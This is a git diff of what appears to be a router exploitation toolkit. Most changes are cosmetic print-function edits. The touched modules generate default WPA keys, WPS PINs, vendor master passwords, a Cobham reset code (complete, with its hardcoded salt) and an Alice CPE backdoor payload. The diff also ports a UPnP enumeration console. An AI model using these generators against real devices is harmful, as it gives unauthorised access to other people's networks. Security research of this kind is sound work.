self.mac = args[1] - print_green("MAC set to: " + self.mac + " " + lookup_mac(self.mac)) + print_info("MAC set to: " + self.mac + " " + lookup_mac(self.mac)) else: print_error("provide valid MAC address") def do_mac(self, e): - print(self.mac) + print_info(self.mac) def help_set(self): print_help("Set value of variable: \"set mac 00:11:22:33:44:55\"") @@ -73,9 +73,9 @@ def do_run(self, e): char = mac_array[counter] + mac_array[counter+1] + 0xF self.printchar(char) counter += 1 - print_success('') - print_green("Username: __super") - print_green("Password: " + self.password) + print_success('credentials generated') + print("Username: __super") + print("Password: " + self.password) def printchar(self, char): char %= 0x4B diff --git a/modules/misc/adb/a1_default_wpa_key.py b/modules/misc/adb/a1_default_wpa_key.py index 7bc2113..d80f031 100644 --- a/modules/misc/adb/a1_default_wpa_key.py +++ b/modules/misc/adb/a1_default_wpa_key.py @@ -12,7 +12,7 @@ import core.Misc import core.io from interface.utils import validate_mac, lookup_mac -from interface.messages import print_success, print_error, print_help, print_green +from interface.messages import print_success, print_error, print_help, print_info import re import hashlib @@ -43,12 +43,12 @@ def do_set(self, e): if args[0] == "mac": if validate_mac(args[1]): self.mac = args[1] - print_green("MAC set to: " + self.mac + " " + lookup_mac(self.mac)) + print_info("MAC set to: " + self.mac + " " + lookup_mac(self.mac)) else: print_error("provide valid MAC address") def do_mac(self, e): - print(self.mac) + print_info(self.mac) def help_set(self): print_help("Set value of variable: \"set mac 00:11:22:33:44:55\"") @@ -59,13 +59,13 @@ def help_mac(self): def do_run(self, e): mac_str = re.sub(r'[^a-fA-F0-9]', '', self.mac) bytemac = bytearray.fromhex(mac_str) - print_success("") - print_green('based on rg_mac:\nSSID: PBS-%02X%02X%02X' % (bytemac[3], bytemac[4], bytemac[5])) - print_green('WPA key: %s\n' % (self.gen_key(bytemac))) + print_success("Key generated") + print('based on rg_mac:\nSSID: PBS-%02X%02X%02X' % (bytemac[3], bytemac[4], bytemac[5])) + print('WPA key: %s\n' % (self.gen_key(bytemac))) bytemac[5] -= 5 - print_green('based on BSSID:\nSSID: PBS-%02X%02X%02X' % (bytemac[3], bytemac[4], bytemac[5])) - print_green('WPA key: %s\n' % (self.gen_key(bytemac))) + print('based on BSSID:\nSSID: PBS-%02X%02X%02X' % (bytemac[3], bytemac[4], bytemac[5])) + print('WPA key: %s\n' % (self.gen_key(bytemac))) #This part is work of Stefan Viehboeck (ported to py3) def gen_key(self, mac): diff --git a/modules/misc/adb/alice_cpe_backdoor.py b/modules/misc/adb/alice_cpe_backdoor.py index 6259634..38033bb 100644 --- a/modules/misc/adb/alice_cpe_backdoor.py +++ b/modules/misc/adb/alice_cpe_backdoor.py @@ -20,7 +20,7 @@ import core.Misc import core.io from interface.utils import validate_mac, lookup_mac -from interface.messages import print_success, print_error, print_help, print_green +from interface.messages import print_success, print_error, print_help, print_info import re import hashlib @@ -60,12 +60,12 @@ def do_set(self, e): if args[0] == "mac": if validate_mac(args[1]): self.mac = args[1] - print_green("MAC set to: " + self.mac + " " + lookup_mac(self.mac)) + print_info("MAC set to: " + self.mac + " " + lookup_mac(self.mac)) else: print_error("provide valid MAC address") def do_mac(self, e): - print(self.mac) + print_info(self.mac) def help_set(self): print_help("Set value of variable: \"set mac 00:11:22:33:44:55\"") @@ -75,10 +75,10 @@ def help_mac(self): def do_run(self, e): payload = self.keygen() - print_success("") - print_green("Payload:%s" % (hexlify(payload).decode())) + print_success("payload generated") + print("Payload:%s" % (hexlify(payload).decode())) core.io.writefile(payload, "payload.hex") - print_green("Payload saved to payload.hex") + print_info("Payload saved to payload.hex") def keygen(self): salt = b'\x04\x07\x67\x10\x02\x81\xFA\x66\x11\x41\x68\x11\x17\x01\x05\x22\x71\x04\x10\x33' diff --git a/modules/misc/arris/dg860a_mac2wps.py b/modules/misc/arris/dg860a_mac2wps.py index 789e75f..d5e4a1e 100644 --- a/modules/misc/arris/dg860a_mac2wps.py +++ b/modules/misc/arris/dg860a_mac2wps.py @@ -11,7 +11,7 @@ import core.Misc import core.io -from interface.messages import print_success, print_error, print_green, print_help +from interface.messages import print_success, print_error, print_help, print_info from interface.utils import validate_mac, lookup_mac @@ -40,12 +40,12 @@ def do_set(self, e): if args[0] == "mac": if validate_mac(args[1]): self.mac = args[1] - print_green("MAC set to: " + self.mac + " " + lookup_mac(self.mac)) + print_info("MAC set to: " + self.mac + " " + lookup_mac(self.mac)) else: print_error("please provide valid MAC address") def do_mac(self, e): - print(self.mac) + print_info(self.mac) def help_set(self): print_help("Set value of variable: \"set mac 00:11:22:33:44:55\"") @@ -103,8 +103,8 @@ def do_run(self, e): fibsum %= 10000000 checksum = self.compute_checksum(fibsum) fibsum = (fibsum * 10) + checksum - print_success("") - print_green("WPS PIN: " + str(fibsum)) + print_success("WPS generated") + print("WPS PIN: " + str(fibsum)) def fib_gen(self, n): if n == 1 or n == 2 or n == 0: @@ -127,4 +127,4 @@ def compute_checksum(self, s): return (10 - digit) % 10 -Misc() \ No newline at end of file +Misc() diff --git a/modules/misc/arris/tm602a_password_day.py b/modules/misc/arris/tm602a_password_day.py index 2db29df..f18cb8a 100644 --- a/modules/misc/arris/tm602a_password_day.py +++ b/modules/misc/arris/tm602a_password_day.py @@ -12,7 +12,7 @@ import core.Misc import core.io -from interface.messages import print_success, print_help, print_purple, print_green +from interface.messages import print_success, print_help, print_info import datetime import math @@ -50,23 +50,23 @@ def do_set(self, e): self.end_date = args[1] def do_start(self, e): - print(self.start_date) + print_info(self.start_date) def do_end(self, e): - print(self.end_date) + print_info(self.end_date) def help_set(self): print_help("Set value of variable: \"set start 2015-06-01\"") def help_start(self): print_help("Prints value of variable start_date") - print_purple("In this module both start and end date must be specified!") - print_purple("Password for date in end_date is not generated! (Not inclusive loop)") + print("In this module both start and end date must be specified!") + print("Password for date in end_date is not generated! (Not inclusive loop)") def help_end(self): print_help("Prints value of variable end_date") - print_purple("In this module both start and end date must be specified!") - print_purple("Password for date in end_date is not generated! (Not inclusive loop)") + print("In this module both start and end date must be specified!") + print("Password for date in end_date is not generated! (Not inclusive loop)") def do_run(self, e): self.generate_arris_password(self.start_date, self.end_date) @@ -134,8 +134,8 @@ def generate_arris_password(self, start_date_str, end_date_str): for i in range(10): password_list[i] = alphanum[list5[i]] password = "".join(password_list) - print_success("") - print_green("Date: " + single_date.date().isoformat() + " Password:" + password) + print_success("password generated") + print("Date: " + single_date.date().isoformat() + " Password:" + password) def daterange(start_date, end_date): diff --git a/modules/misc/belkin/mac2wps.py b/modules/misc/belkin/mac2wps.py index 2a560d3..5546d5e 100644 --- a/modules/misc/belkin/mac2wps.py +++ b/modules/misc/belkin/mac2wps.py @@ -10,7 +10,7 @@ import core.Misc import core.io -from interface.messages import print_success, print_error, print_green, print_help +from interface.messages import print_success, print_error, print_help, print_info from interface.utils import validate_mac, lookup_mac @@ -39,12 +39,12 @@ def do_set(self, e): if args[0] == "mac": if validate_mac(args[1]): self.mac = args[1] - print_green("MAC set to: " + self.mac + " " + lookup_mac(self.mac)) + print_info("MAC set to: " + self.mac + " " + lookup_mac(self.mac)) else: print_error("please provide valid MAC address") def do_mac(self, e): - print(self.mac) + print_info(self.mac) def help_set(self): print_help("Set value of variable: \"set mac 00:11:22:33:44:55\"") @@ -70,8 +70,8 @@ def do_run(self, e): key = (10 - accum % 10) % 10 key = format("%07d%d" % (p, key)) - print_success("") - print_green("WPS pin:" + key) + print_success("WPS pin generated") + print("WPS pin:" + key) -Misc() \ No newline at end of file +Misc() diff --git a/modules/misc/cobham/admin_reset_code.py b/modules/misc/cobham/admin_reset_code.py index d27cac2..0f59178 100644 --- a/modules/misc/cobham/admin_reset_code.py +++ b/modules/misc/cobham/admin_reset_code.py @@ -13,7 +13,7 @@ import core.Misc import core.io -from interface.messages import print_green, print_help +from interface.messages import print_help, print_info class Misc(core.Misc.RextMisc): @@ -42,16 +42,16 @@ def do_set(self, e): args = e.split(' ') if args[0] == "serial": self.serial = args[1] - print_green("Serial number set to: " + self.serial) + print_info("Serial number set to: " + self.serial) def do_run(self, e): m = hashlib.md5() m.update(bytearray.fromhex(self.serial) + b'\x00'*12 + "kdf04rasdfKKduzA".encode('utf-8')) code = m.hexdigest() - print_green("Reset code: " + code) + print("Reset code: " + code) def do_serial(self, e): - print(self.serial) + print_info(self.serial) def help_set(self): print_help("Set value of variable: \"set serial 12345678\"") diff --git a/modules/misc/draytek/vigor_master_key.py b/modules/misc/draytek/vigor_master_key.py index a69124a..6f5d6fa 100644 --- a/modules/misc/draytek/vigor_master_key.py +++ b/modules/misc/draytek/vigor_master_key.py @@ -10,7 +10,7 @@ import core.Misc import core.io -from interface.messages import print_success, print_error, print_green, print_help +from interface.messages import print_success, print_error, print_help, print_info from interface.utils import validate_mac, lookup_mac import re @@ -42,12 +42,12 @@ def do_set(self, e): if args[0] == "mac": if validate_mac(args[1]): self.mac = args[1] - print_green("MAC set to: " + self.mac + " " + lookup_mac(self.mac)) + print_info("MAC set to: " + self.mac + " " + lookup_mac(self.mac)) else: print_error("please provide valid MAC address") def do_mac(self, e): - print(self.mac) + print_info(self.mac) def help_set(self): print_help("Set value of variable: \"set mac 00:11:22:33:44:55\"") @@ -58,8 +58,8 @@ def help_mac(self): def do_run(self, e): xmac = unhexlify(bytes(re.sub('[:\-]', '', self.mac), 'UTF-8')) print_success("credentials generated") - print_green("Username: Admin") - print_green("Password: " + self.spkeygen(xmac)) + print("Username: Admin") + print("Password: " + self.spkeygen(xmac)) #This is a port for py3 from draytools, original author is Nikita Abdullin def spkeygen(self, mac): diff --git a/modules/misc/generic/http_ping.py b/modules/misc/generic/http_ping.py index fc3928b..9d638d8 100644 --- a/modules/misc/generic/http_ping.py +++ b/modules/misc/generic/http_ping.py @@ -12,7 +12,7 @@ import requests import interface.utils -from interface.messages import print_error, print_yellow, print_green, print_help +from interface.messages import print_error, print_help, print_info, print_warning class Exploit(core.Exploit.RextExploit): @@ -70,15 +70,15 @@ def do_set(self, e): def do_body(self, e): if self.body is True: - print("yes") + print_info("yes") else: - print("no") + print_info("no") def do_ssl(self, e): if self.ssl is True: - print("yes") + print_info("yes") else: - print("no") + print_info("no") def help_body(self): print_help("print response body? yes/no") @@ -92,14 +92,14 @@ def do_run(self, e): else: url = "https://%s:%s" % (self.host, self.port) try: - print_yellow("Sending GET request") + print_warning("Sending GET request") response = requests.get(url, timeout=60, verify=False) - print_green("[%s %s] %s" % (response.status_code, response.reason, response.url)) + print("[%s %s] %s" % (response.status_code, response.reason, response.url)) for header in response.headers: - print_green("%s: %s" % (header, response.headers.get(header))) + print("%s: %s" % (header, response.headers.get(header))) if self.body is True: print("\n") - print_green(response.text) + print(response.text) except requests.ConnectionError as e: print_error("connection error %s" % e) except requests.Timeout: diff --git a/modules/misc/generic/upnp_console.py b/modules/misc/generic/upnp_console.py index a1112f2..469aef8 100644 --- a/modules/misc/generic/upnp_console.py +++ b/modules/misc/generic/upnp_console.py @@ -1,33 +1,716 @@ # Name:UPNP console # File:upnp_console.py -# Author:Ján Trenčanský +# Author: Ján Trenčanský +# Original: Craig Heffner # License: GNU GPL v3 # Created: 30.07.2016 -# Last modified: 30.07.2016 -# Description: miranda-upnp.py +# Last modified: 21.08.2016 +# Disclaimer: most of the code is ported to python 3 from his awesome miranda-upnp tool +# his tool has only one disadvantage, very bad UI in my opinion +# https://code.google.com/archive/p/mirandaupnptool/ -import core.Upnp import core.io import time import base64 +import cmd import socket +import struct +import select +import requests +import xml.dom.minidom import re import traceback +import sys -from interface.messages import print_red, print_error, print_yellow, print_blue +import core.globals +import interface.utils +from interface.messages import print_error, print_help, print_info, print_warning, print_red, print_yellow, \ + print_success -class Upnp(core.Upnp.Upnp): +class Upnp(cmd.Cmd): """ -UPNP console +# Name:UPNP console +# Author: Ján Trenčanský +# Original: Craig Heffner +# License: GNU GPL v3 +# Disclaimer: most of the code is ported to python 3 from his awesome miranda-upnp tool +# his tool has only one disadvantage, very bad UI in my opinion +# https://code.google.com/archive/p/mirandaupnptool/ """ + host = "239.255.255.250" # Should be modifiable + port = 1900 # and this + msearchHeaders = {'MAN': '"ssdp:discover"', 'MX': '2'} + upnp_version = '1.0' + max_recv = 8192 + max_hosts = 0 + timeout = 0 # and this + http_headers = [] + enum_hosts = {} + verbose = False # and this + uniq = True # and this + log_file = False # and this + batch_file = None # and this + interface = None # and this + csock = False + ssock = False + mreq = None + soapEnd = None def __init__(self): - core.Upnp.Upnp.__init__(self) + cmd.Cmd.__init__(self) + interface.utils.change_prompt(self, core.globals.active_module_path + core.globals.active_script) + self.soapEnd = re.compile('') + self.initialize_sockets() + self.cmdloop() + + def initialize_sockets(self): + try: + # This is needed to join a multicast group + self.mreq = struct.pack("4sl", socket.inet_aton(self.host), socket.INADDR_ANY) + # Set up client socket + self.csock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + self.csock.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 2) + # Set up server socket + self.ssock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP) + self.ssock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + # BSD systems also need to set SO_REUSEPORT + try: + self.ssock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEPORT, 1) + except Exception: + pass + + # Only bind to this interface + if self.interface is not None: + print_info("Binding to interface: " + self.interface) + self.ssock.setsockopt(socket.SOL_SOCKET, socket.SO_BINDTODEVICE, + struct.pack("%ds" % (len(self.interface) + 1,), self.interface)) + self.csock.setsockopt(socket.SOL_SOCKET, socket.SO_BINDTODEVICE, + struct.pack("%ds" % (len(self.interface) + 1,), self.interface)) + + try: + self.ssock.bind(('', self.port)) + except Exception: + print_warning("failed to bind: " + self.host + ":" + str(self.port) + " ") + try: + self.ssock.setsockopt(socket.IPPROTO_IP, socket.IP_ADD_MEMBERSHIP, self.mreq) + except Exception: + print_warning("failed to join multicast group") + except Exception: + print_error("failed to initialize UPNP sockets") + return False + return True + + # Clean up file/socket descriptors + def cleanup(self): + self.csock.close() + self.ssock.close() + + # Send network data + def send(self, data, sock): + # By default, use the client socket that's part of this class + if not sock: + sock = self.csock + try: + sock.sendto(bytes(data, 'UTF-8'), (self.host, self.port)) + return True + except Exception as e: + print_error("send method failed for " + self.host + ":" + str(self.port)) + traceback.print_tb(e) + return False + + # Receive network data + def recieve(self, size, sock): + if not sock: + sock = self.ssock + + if self.timeout: + sock.setblocking(0) + ready = select.select([sock], [], [], self.timeout)[0] + else: + sock.setblocking(1) + ready = True + try: + if ready: + return sock.recv(size) + else: + return False + except: + return False + + # Create new UDP socket on ip, bound to port + def create_new_listener(self, ip, port): + try: + newsock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP) + newsock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + # BSD systems also need to set SO_REUSEPORT + try: + newsock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEPORT, 1) + except: + pass + newsock.bind((ip, port)) + return newsock + except Exception: + return False + + # Return the class's primary server socket + def listener(self): + return self.ssock + + # Return the class's primary client socket + def sender(self): + return self.csock + + # Parse a URL, return the host and the page + def parse_url(self, url): + delim = '://' + host = False + # page = False + + # Split the host and page + try: + (host, page) = url.split(delim)[1].split('/', 1) + page = '/' + page + except: + # If '://' is not in the url, then it's not a full URL, so assume that it's just a relative path + page = url + + return host, page + + # Pull the header info for the specified HTTP header - case insensitive + def parse_header(self, data, header): + delimiter = "%s:" % header + lowerdelim = delimiter.lower() + dataarray = data.split("\r\n") + + # Loop through each line of the headers + for line in dataarray: + lowerline = line.lower() + # Does this line start with the header we're looking for? + if lowerline.startswith(lowerdelim): + try: + return line.split(':', 1)[1].strip() + except: + print_error("parsing header data failed for: " + header) + + # Parses SSDP notify and reply packets, and populates the ENUM_HOSTS dict + def parse_ssdp_info(self, data, show_uniq, verbose): + data = data.decode('utf-8') # When Ctl-C is pressed data is set to False and exception should be raised + host_found = False + # found_location = False + message_type = None + # xml_file = None + # host = False + # page = False + # upnp_type = None + known_headers = {'NOTIFY': 'notification', 'HTTP/1.1 200 OK': 'reply'} + + # Use the class defaults if these aren't specified + # if not show_uniq: + # show_uniq = self.uniq + # if not verbose: + # verbose = self.verbose + # Is the SSDP packet a notification, a reply, or neither? + for text, message_type in known_headers.items(): + if data.upper().startswith(text): + break + else: + message_type = False + + # If this is a notification or a reply message... + if message_type: + # Get the host name and location of its main UPNP XML file + xml_file = self.parse_header(data, "LOCATION") + upnp_type = self.parse_header(data, "SERVER") + (host, page) = self.parse_url(xml_file) + + # Sanity check to make sure we got all the info we need + if xml_file is None or host is False or page is False: + print_error("parsing recieved header:") + print_red(data) + return False + + # Get the protocol in use (i.e., http, https, etc) + protocol = xml_file.split('://')[0] + '://' + + # Check if we've seen this host before; add to the list of hosts if: + # 1. This is a new host + # 2. We've already seen this host, but the uniq hosts setting is disabled + for hostID, hostInfo in self.enum_hosts.items(): + if hostInfo['name'] == host: + host_found = True + if self.uniq: + return False + + if (host_found and not self.uniq) or not host_found: + # Get the new host's index number and create an entry in ENUM_HOSTS + index = len(self.enum_hosts) + self.enum_hosts[index] = { + 'name': host, + 'dataComplete': False, + 'proto': protocol, + 'xml_file': xml_file, + 'serverType': None, + 'upnpServer': upnp_type, + 'deviceList': {} + } + # Be sure to update the command completer so we can tab complete through this host's data structure + # self.updateCmdCompleter(self.ENUM_HOSTS) + + # Print out some basic device info + print_info("SSDP " + message_type + " message from " + host) + + if xml_file: + # found_location = True + print_info("XML file is located at " + xml_file) + + if upnp_type: + print_info("Device is running: " + upnp_type) + + return True + + # Send GET request for a UPNP XML file + def get_xml(self, url): + headers = {'USER-AGENT': 'uPNP/' + self.upnp_version, + 'CONTENT-TYPE': 'text/xml; charset="utf-8"'} + + try: + # Use urllib2 for the request, it's awesome + # req = urllib.Request(url, None, headers) # This is GET + # response = urllib.urlopen(req) + response = requests.get(url, headers=headers, timeout=60) + output = response.text + headers = response.headers + return headers, output + except Exception: + print_error("Request for '%s' failed" % url) + return False, False + + # Pull the name of the device type from a device type string + + # The device type string looks like: 'urn:schemas-upnp-org:device:WANDevice:1' + def parse_device_type_name(self, string): + delim1 = 'device:' + delim2 = ':' + + if delim1 in string and not string.endswith(delim1): + return string.split(delim1)[1].split(delim2, 1)[0] + return False + + # Pull the name of the service type from a service type string + # The service type string looks like: 'urn:schemas-upnp-org:service:Layer3Forwarding:1' + def parse_service_type_name(self, string): + delim1 = 'service:' + delim2 = ':' + + if delim1 in string and not string.endswith(delim1): + return string.split(delim1)[1].split(delim2, 1)[0] + return False + + # Get info about a service's state variables + def parse_service_state_vars(self, xml_root, service_pointer): + + na = 'N/A' + var_vals = ['sendEvents', 'dataType', 'defaultValue', 'allowedValues'] + service_state_table = 'serviceStateTable' + state_variable = 'stateVariable' + name_tag = 'name' + data_type = 'dataType' + send_events = 'sendEvents' + allowed_value_list = 'allowedValueList' + allowed_value = 'allowedValue' + allowed_value_range = 'allowedValueRange' + minimum = 'minimum' + maximum = 'maximum' + + # Create the serviceStateVariables entry for this service in ENUM_HOSTS + service_pointer['serviceStateVariables'] = {} + + # Get a list of all state variables associated with this service + try: + state_vars = xml_root.getElementsByTagName(service_state_table)[0].getElementsByTagName(state_variable) + except: + # Don't necessarily want to throw an error here, as there may be no service state variables + return False + + # Loop through all state variables + for var in state_vars: + for tag in var_vals: + # Get variable name + try: + var_name = str(var.getElementsByTagName(name_tag)[0].childNodes[0].data) + except: + print_error( + 'Failed to get service state variable name for service %s!' % service_pointer['fullName']) + continue + + service_pointer['serviceStateVariables'][var_name] = {} + try: + service_pointer['serviceStateVariables'][var_name]['dataType'] = str( + var.getElementsByTagName(data_type)[0].childNodes[0].data) + except: + service_pointer['serviceStateVariables'][var_name]['dataType'] = na + try: + service_pointer['serviceStateVariables'][var_name]['sendEvents'] = str( + var.getElementsByTagName(send_events)[0].childNodes[0].data) + except: + service_pointer['serviceStateVariables'][var_name]['sendEvents'] = na + + service_pointer['serviceStateVariables'][var_name][allowed_value_list] = [] + + # Get a list of allowed values for this variable + try: + vals = var.getElementsByTagName(allowed_value_list)[0].getElementsByTagName(allowed_value) + except: + pass + else: + # Add the list of allowed values to the ENUM_HOSTS dictionary + for val in vals: + service_pointer['serviceStateVariables'][var_name][allowed_value_list].append( + str(val.childNodes[0].data)) + + # Get allowed value range for this variable + try: + val_list = var.getElementsByTagName(allowed_value_range)[0] + except: + pass + else: + # Add the max and min values to the ENUM_HOSTS dictionary + service_pointer['serviceStateVariables'][var_name][allowed_value_range] = [] + try: + service_pointer['serviceStateVariables'][var_name][allowed_value_range].append( + str(val_list.getElementsByTagName(minimum)[0].childNodes[0].data)) + service_pointer['serviceStateVariables'][var_name][allowed_value_range].append( + str(val_list.getElementsByTagName(maximum)[0].childNodes[0].data)) + except: + pass + return True + + # Parse details about each service (arguements, variables, etc) + def parse_service_info(self, service, index): + # argIndex = 0 + arg_tags = ['direction', 'relatedStateVariable'] + action_list = 'actionList' + action_tag = 'action' + name_tag = 'name' + argument_list = 'argumentList' + argument_tag = 'argument' + + # Get the full path to the service's XML file + xml_file = self.enum_hosts[index]['proto'] + self.enum_hosts[index]['name'] + if not xml_file.endswith('/') and not service['SCPDURL'].startswith('/'): + try: + xml_service_file = self.enum_hosts[index]['xml_file'] + slash_index = xml_service_file.rfind('/') + xml_file = xml_service_file[:slash_index] + '/' + except: + xml_file += '/' + + if self.enum_hosts[index]['proto'] in service['SCPDURL']: + xml_file = service['SCPDURL'] + else: + xml_file += service['SCPDURL'] + service['actions'] = {} + + # Get the XML file that describes this service + (xml_headers, xml_data) = self.get_xml(xml_file) + if not xml_data: + print_error('Failed to retrieve service descriptor located at:', xml_file) + return False + + try: + xml_root = xml.dom.minidom.parseString(xml_data) + + # Get a list of actions for this service + try: + action_list = xml_root.getElementsByTagName(action_list)[0] + except: + print_error('Failed to retrieve action list for service %s!' % service['fullName']) + return False + actions = action_list.getElementsByTagName(action_tag) + if not actions: + return False + + # Parse all actions in the service's action list + for action in actions: + # Get the action's name + try: + action_name = str(action.getElementsByTagName(name_tag)[0].childNodes[0].data).strip() + except: + print_error('Failed to obtain service action name (%s)!' % service['fullName']) + continue + + # Add the action to the ENUM_HOSTS dictonary + service['actions'][action_name] = {} + service['actions'][action_name]['arguments'] = {} + + # Parse all of the action's arguments + try: + arg_list = action.getElementsByTagName(argument_list)[0] + except: + # Some actions may take no arguments, so continue without raising an error here... + continue + + # Get all the arguments in this action's argument list + arguments = arg_list.getElementsByTagName(argument_tag) + if not arguments: + if self.verbose: + print_error('Action', action_name, 'has no arguments!') + continue + + # Loop through the action's arguments, appending them to the ENUM_HOSTS dictionary + for argument in arguments: + try: + arg_name = str(argument.getElementsByTagName(name_tag)[0].childNodes[0].data) + except: + print_error('Failed to get argument name for', action_name) + continue + service['actions'][action_name]['arguments'][arg_name] = {} + + # Get each required argument tag value and add them to ENUM_HOSTS + for tag in arg_tags: + try: + service['actions'][action_name]['arguments'][arg_name][tag] = str( + argument.getElementsByTagName(tag)[0].childNodes[0].data) + except: + print_error('Failed to find tag %s for argument %s!' % (tag, arg_name)) + continue + + # Parse all of the state variables for this service + self.parse_service_state_vars(xml_root, service) + + except Exception as e: + print_error( + 'Caught exception while parsing Service info for service %s: %s' % (service['fullName'], str(e))) + return False + + return True + + # Parse the list of services specified in the XML file + def parse_service_list(self, xml_root, device, index): + # serviceEntryPointer = False + dict_name = "services" + service_list_tag = "serviceList" + service_tag = "service" + service_name_tag = "serviceType" + service_tags = ["serviceId", "controlURL", "eventSubURL", "SCPDURL"] + + try: + device[dict_name] = {} + # Get a list of all services offered by this device + for service in xml_root.getElementsByTagName(service_list_tag)[0].getElementsByTagName(service_tag): + # Get the full service descriptor + service_name = str(service.getElementsByTagName(service_name_tag)[0].childNodes[0].data) + + # Get the service name from the service descriptor string + service_display_name = self.parse_service_type_name(service_name) + if not service_display_name: + continue + + # Create new service entry for the device in ENUM_HOSTS + service_entry_pointer = device[dict_name][service_display_name] = {} + service_entry_pointer['fullName'] = service_name + + # Get all of the required service info and add it to ENUM_HOSTS + for tag in service_tags: + service_entry_pointer[tag] = str(service.getElementsByTagName(tag)[0].childNodes[0].data) + + # Get specific service info about this service + self.parse_service_info(service_entry_pointer, index) + except Exception as e: + print_error('Caught exception while parsing device service list:', e) + + # Parse device info from the retrieved XML file + def parse_device_info(self, xml_root, index): + # device_entry_pointer = False + dev_tag = "device" + device_type = "deviceType" + device_list_entries = "deviceList" + device_tags = ["friendlyName", "modelDescription", "modelName", "modelNumber", "modelURL", "presentationURL", + "UDN", "UPC", "manufacturer", "manufacturerURL"] + + # Find all device entries listed in the XML file + for device in xml_root.getElementsByTagName(dev_tag): + try: + # Get the deviceType string + device_type_name = str(device.getElementsByTagName(device_type)[0].childNodes[0].data) + except: + continue + + # Pull out the action device name from the deviceType string + device_display_name = self.parse_device_type_name(device_type_name) + if not device_display_name: + continue + + # Create a new device entry for this host in the ENUM_HOSTS structure + device_entry_pointer = self.enum_hosts[index][device_list_entries][device_display_name] = {} + device_entry_pointer['fullName'] = device_type_name + + # Parse out all the device tags for that device + for tag in device_tags: + try: + device_entry_pointer[tag] = str(device.getElementsByTagName(tag)[0].childNodes[0].data) + except Exception as e: + if self.verbose: + print_error('Device', device_entry_pointer['fullName'], 'does not have a', tag) + continue + # Get a list of all services for this device listing + self.parse_service_list(device, device_entry_pointer, index) + + return + + # Display all info for a given host + + def show_complete_host_info(self, index, fp=False): + # na = 'N/A' + service_keys = ['controlURL', 'eventSubURL', 'serviceId', 'SCPDURL', 'fullName'] + if not fp: + fp = sys.stdout + + if index < 0 or index >= len(self.enum_hosts): + fp.write('Specified host does not exist...\n') + return + try: + host_info = self.enum_hosts[index] + if not host_info['dataComplete']: + print_warning( + "Cannot show all host info because I don't have it all yet. Try running 'host info %d' first...\n" % index) + fp.write('Host name: %s\n' % host_info['name']) + fp.write('UPNP XML File: %s\n\n' % host_info['xml_file']) + + fp.write('\nDevice information:\n') + for deviceName, deviceStruct in host_info['deviceList'].items(): + fp.write('\tDevice Name: %s\n' % deviceName) + for serviceName, serviceStruct in deviceStruct['services'].items(): + fp.write('\t\tService Name: %s\n' % serviceName) + for key in service_keys: + fp.write('\t\t\t%s: %s\n' % (key, serviceStruct[key])) + fp.write('\t\t\tServiceActions:\n') + for actionName, actionStruct in serviceStruct['actions'].items(): + fp.write('\t\t\t\t%s\n' % actionName) + for argName, argStruct in actionStruct['arguments'].items(): + fp.write('\t\t\t\t\t%s \n' % argName) + for key, val in argStruct.items(): + if key == 'relatedStateVariable': + fp.write('\t\t\t\t\t\t%s:\n' % val) + for k, v in serviceStruct['serviceStateVariables'][val].items(): + fp.write('\t\t\t\t\t\t\t%s: %s\n' % (k, v)) + else: + fp.write('\t\t\t\t\t\t%s: %s\n' % (key, val)) + + except Exception as e: + print_error('Caught exception while showing host info:') + traceback.print_stack(e) + + # Wrapper function... + + def get_host_information(self, xml_data, xml_headers, index): + if self.enum_hosts[index]['dataComplete']: + return + + if 0 <= index < len(self.enum_hosts): + try: + xml_root = xml.dom.minidom.parseString(xml_data) + self.parse_device_info(xml_root, index) + # self.enum_hosts[index]['serverType'] = xml_headers.getheader('Server') + self.enum_hosts[index]['serverType'] = xml_headers['Server'] + self.enum_hosts[index]['dataComplete'] = True + return True + except Exception as e: + print_error('Caught exception while getting host info:') + traceback.print_stack(e) + return False + + def do_exit(self, e): + return True + + def do_run(self, e): + self.cleanup() + pass + + def do_set(self, e): + args = e.split(' ') + try: + if args[0] == "host": + if interface.utils.validate_ipv4(args[1]): + self.host = args[1] + else: + print_error("please provide valid IPv4 address") + elif args[0] == "port": + if str.isdigit(args[1]): + self.port = args[1] + else: + print_error("port value must be integer") + except IndexError: + print_error("please specify value for variable") + + def do_info(self, e): + print(self.__doc__) + + def do_host(self, e): + print_info(self.host) + + def do_port(self, e): + print_info(str(self.port)) + + def help_exit(self): + print_help("Exit script") + + def help_run(self): + print_help("Run script") + + def help_host(self): + print_help("Prints current value of host") + + def help_port(self): + print_help("Prints current value of port") + + def help_set(self): + print_help("Set value of variable: \"set host 192.168.1.1\"") + + def help_info(self): + print_help("Show info about loaded module") + + def help_msearch(self): + print_help("Actively locate UPNP hosts") + + def help_device(self): + print_help("Allows you to query host information and iteract with a host's actions/services.") + print("""\n\tdevice [host index #] + 'list' displays an index of all known UPNP hosts along with their respective index numbers + 'get' gets detailed information about the specified host + 'details' gets and displays detailed information about the specified host + 'summary' displays a short summary describing the specified host + 'info' allows you to enumerate all elements of the hosts object + 'send' allows you to send SOAP requests to devices and services + + Example: + > device list + > device get 0 + > device summary 0 + > device info 0 deviceList + > device send 0 + + Notes: + - All device commands EXCEPT for the 'device send', 'device info' and 'device list' commands take only one argument: the device index number. + - The device index number can be obtained by running 'device list', which takes no futher arguments. + - The 'device send' command requires that you also specify the device's device name, service name, and action name that you wish to send, + in that order (see the last example in the Example section of this output). This information can be obtained by viewing the + 'device details' listing, or by querying the host information via the 'device info' command. + - The 'device info' command allows you to selectively enumerate the device information data structure. All data elements and their + corresponding values are displayed; a value of '{}' indicates that the element is a sub-structure that can be further enumerated + (see the 'device info' example in the Example section of this output). + """) + print_help("Originally this was miranda host command, but REXT already has host command") + + def help_add(self): + print_help("Allows you to manually add device (e.g. shodan search result)") + print("\t usage:add [device name] [device xml root]") + print("\texample: add 192.168.1.2:49152 http://192.168.1.2:49152/description.xml") def do_msearch(self, e): - defaultST = "upnp:rootdevice" + default_st = "upnp:rootdevice" st = "schemas-upnp-org" myip = '' lport = self.port @@ -42,7 +725,7 @@ def do_msearch(self, e): # searchName = argv[2] # st = "urn:%s:%s:%s:%s" % (st,searchType,searchName,hp.UPNP_VERSION.split('.')[0]) # 